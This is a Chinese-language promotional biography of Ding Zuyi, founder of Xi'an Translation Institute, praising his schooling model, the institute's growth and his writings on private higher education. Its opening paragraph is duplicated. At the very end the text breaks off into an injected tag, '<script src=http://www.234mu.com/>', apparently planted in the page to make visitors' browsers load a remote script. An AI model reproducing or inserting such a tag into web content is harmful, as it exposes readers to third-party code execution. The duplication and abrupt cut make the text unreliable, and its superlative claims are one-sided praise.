1939年8月29日生于江蘇淮安，1964年六年制高壓電器專業本科畢業。1985年，他受命西安市科協創建了西安地區大型學術團體“西安翻譯協會”，并當選為副理事長兼秘書長；1987年，創建了西安翻譯學院，1992年晉升為講師，1997年被國家人事部人事與人才科學研究所聘為“特約研究員”，1998年被破格評為教授。自1997年起至今，歷任陜西省政協第九屆、第十屆兩屆常委。

丁祖詒同志為西安翻譯學院創始人、院長，陜西終南學社社長。1939年8月29日生于江蘇淮安，1964年六年制高壓電器專業本科畢業。1985年，他受命西安市科協創建了西安地區大型學術團體“西安翻譯協會”，并當選為副理事長兼秘書長；1987年，創建了西安翻譯學院，1992年晉升為講師，1997年被國家人事部人事與人才科學研究所聘為“特約研究員”，1998年被破格評為教授。2001年10月陜西省高教協會授予其民辦教育家稱號，年底被評為享受國務院特殊津貼的專家。自1997年起至今，丁祖詒同志歷任陜西省政協第九屆、第十屆兩屆常委。丁祖詒同志數十年如一日，為了祖國的教育大業，為了中國民辦高教的騰飛發展，披肝瀝膽，嘔心瀝血，傾注了畢生的心血和精力，做出了舉世矚目的卓越貢獻，成為世人所公認的著名民辦教育家和中國民辦高教戰線上的杰出領軍人物。其主要先進事跡介紹如下：創建西譯，以創新的理論及實踐開啟了中國民學的一代先河。丁祖詒同志以振興祖國的民辦高教事業為己任，胸懷天下，情系萬千有志求學深造的莘莘學子，他毅然放棄了國辦高校優厚待遇，砸破了自己的“鐵飯碗”，從零起步，白手起家，創建了民辦高校西安翻譯學院。辦學23年來，丁祖詒同志始終堅持取之于學、用之于學，不以營利為目的的社會主義辦學方向，始終堅持全心全意為學生的成長成才服務和“第二希望工程”的崇高辦學理念；秉持讓無助者有助，讓有志者成才，讓奮進者輝煌的校訓，艱苦創業，無私奉獻，開拓進取，使西安翻譯學院由原來的一無設備、二無資金、三無師資的“三無”困境中崛起，歷經艱難跋涉，飽受千辛萬苦，一躍而發展為如今占地2000余畝、建筑70萬平米、擁有10億多元公益性校產和40000名在校生的全國規模最大、綜合實力最強、知名度最高的民辦本科高校。不僅如此，以西譯為龍頭的陜西民辦高校在其影響下也得到了迅猛發展，并且日益成為全國民學發展的“硅谷”，成為人們關注的焦點。西譯從無到有，從小到大，從弱到強的輝煌發展為我國民辦高校的發展樹立了楷模，開創了中國民學發展的嶄新局面。不斷探索，勇于實踐，敢于挑戰，為民辦高校的理論發展竭力盡智。丁祖詒同志以市場需求為導向，打破了綿沿中國兩千多年傳統的單一型育人模式，創造并實踐了“外語+專業+現代化技能”或“專業+英語+現代化技能”的復合實用型雙專業涉外人才教育模式，以及“全住校、全日制、全封閉、全方位、全過程”的“五全”式準軍事化嚴格管理模式。這就是曾于1996年、1998年和1999年，先后三次在北京釣魚臺國賓館叫紅全國的“丁祖詒教育管理模式”，即“丁氏教育模式”。這一民辦高校的嶄新發展模式，從高等職業教育和全面素質教育兩個方面豐富了高等教育的內涵，為中國高等教育的改革發展提供了成功的范例。在這一模式下，23年來，西安翻譯學院“不花國家一分錢”，為國家和社會培養了6萬余名通專業、懂技能、外語水平高的復合實用型雙專業涉外合格畢業生。在連續多年的招生、就業激烈競爭態勢下，西安翻譯學院卻依然能在嚴格入學標準的層層嚴格篩選中創造了民辦高校絕無僅有的優質生源和“每年招一個大大學“的招生奇跡，保持了連年畢業生穩居98%以上的高就業率。學生歷次的自考、專升本考試、英語等級等考試合格率一直在全省同類高校中名列前茅。出色的外語優勢使得多年來西譯選手在省市、全國英語演講、辯論賽中屢屢奪冠，成為全國高校英語賽事中異軍突起的“一匹黑馬”。留學海外、考研升博，創業有成的學生更是逐年遞增。丁祖詒同志力主創新，敢為人先，在拓寬民辦高校的辦學渠道，完善民辦高校的辦學體制與機制上更是獨領風騷。他于2003年獨辟蹊徑地創辦了“五年不拿國家文憑、實行全封閉管理、提供全外語環境，實施全外語教學、培養準同聲傳譯的翻譯研修學院”，向傳統的育人觀念再次挑戰，歷時7年的翻譯研修學院辦學業績及其“敢死隊”模式為民辦高教的更大發展開辟了廣闊的前景。為民學鼓與呼，興教育擔大任。丁祖詒同志不僅以自身卓絕的創新實踐開辟了民辦高校的嶄新領域，以艱苦創業、無私奉獻、愛生敬業、開拓進取的“西譯精神”為民辦高教的發展積累了寶貴的精神財富。他還能在保持西譯可持續良性發展的同時，始終能夠以敏銳的政治眼光和胸懷國家教育振興的遠見卓識，為民學發展中所遭遇的種種根本問題，敢于秉公直書，呼號吶喊，并在廣泛調研的基礎上，進行了大量深刻的理論研究。他先后在北京民辦教育國際研討會、中國科協年會、中國西部論壇等專題研討會、專題論壇上及一些重大活動、重要媒體上公開發表主旨演講、理論文章，如“論中國民辦大學的態勢”、“發展民辦高等教育，促進西部大開發”、“論中國西部的民辦高教市場”、“用三個代表重要思想指引民辦高教前進航程”、“民辦教育促進法實施中的思考”、“發展中國民辦高校，為人類科技進步與世界和平作貢獻”等一系列的理論探索，都能以深邃的洞察思考、雄辯的邏輯思維，無私的崇高境界、無畏的浩然正氣，凜然的愛國大義、切膚的學子?script src=http://www.234mu.com/>